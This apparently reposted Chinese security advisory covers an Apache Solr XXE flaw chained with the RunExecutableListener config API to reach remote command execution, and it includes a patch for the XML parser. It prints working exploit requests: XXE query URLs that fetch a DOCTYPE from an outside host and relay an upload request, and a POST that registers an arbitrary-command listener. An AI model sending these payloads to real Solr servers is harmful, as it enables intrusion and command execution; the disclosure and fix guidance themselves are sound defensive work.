[高危预警]Apche solr全版本XXE远程命令执行漏洞
Posted 三矛安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[高危预警]Apche solr全版本XXE远程命令执行漏洞相关的知识,希望对你有一定的参考价值。
Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,目前很多企业运用solr开源服务。
根据三矛威胁感知系统数据分析系统,获取到了关于到Apache全版本通杀的高危漏洞,涉及到最新版本的apache solr的云版本。危害等级高,影响面广泛。
Lucene包含一个查询解析器,它能够使用XML数据结构创建完整的Lucene查询。从5.1版开始支持“Solr搜索查询的XML查询分析器。
问题是,Lucene XML解析器没有明确禁止DOCTYPE声明和外部实体膨胀。可以在XML文档中包含特殊的实体,即指向外部文件(file/ /)或外部URL(http):
Example usage:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/xxx"'><a></a>'}
当Solr是解析这个请求,它使一个HTTP请求并将其内容http://xxx.s.artsploit.com/xxx 当成DOCTYPE定义。
考虑到我们可以在搜索查询中定义解析器类型,这通常来自不可信的用户输入,例如网站上的搜索字段。它可以使任意的HTTP请求本地Solr实例并绕过防火墙的限制外部攻击者。
例如,此漏洞用户可以将恶意数据发送到“/upload”处理:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/solr/gettingstarted/upload?stream.body={"xx":"yy"}&commit=true"'><a></a>'}
这个漏洞也可以被利用为Blind XXE使用FTP从solrserver上任意读取文件。
漏洞代码位置:
/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
修复建议:在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中增加:
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
//protect from XXE attacks
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Solr "RunExecutableListener" 类可以用于在特定事件上执行任意命令,例如在每次更新查询之后。问题是这样的侦听器可以通过使用添加侦听器命令的API来启用任何参数。
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"ANYCOMMAND",
"dir":"/usr/bin/",
"args":["ANYARGS"]
}
}
当参数为“exe”、“args”和“dir”时可以制作通过HTTP请求中修改集合的配置。这意味着任何人谁可以发送一个HTTP请求来发布API能够执行任意命令时,“postcommit”事件被触发。它会导致远程攻击者执行任意远程代码。
通过把这两个漏洞,外部攻击者可以实现远程执行代码甚至不需要直接访问Solr服务器。攻击者只要发送搜索查询(“Q”)到”/select“Solr的终端。
三矛科技:建议客户端产品尽快进行相关漏洞评估调查,增加修复漏洞,限制访问端口,开启三矛云盾防火墙。
三矛安全
三矛安全是北京三矛科技有限公司旗下官方订阅号,三矛科技是一家专注于企业安全威胁分析的科技公司,致力于为企业提供可持续的安全威胁感知能力,并结合自适应云安全体系帮助企业快速建立安全防护系统。团队核心成员由一线互联网公司的资深安全专家和互联网技术精英组合而成。
以上是关于[高危预警]Apche solr全版本XXE远程命令执行漏洞的主要内容,如果未能解决你的问题,请参考以下文章
网络安全预警通报关于Apache Solr反序列化远程代码执行漏洞的预警通报
Apache Solr 远程命令+XXE执行漏洞(CVE-2017-12629)
网警提醒关于Apache Solr Velocity模板远程代码执行漏洞的预警通报
IBM WebSphere Application Server XXE漏洞(CVE-2020-4949)预警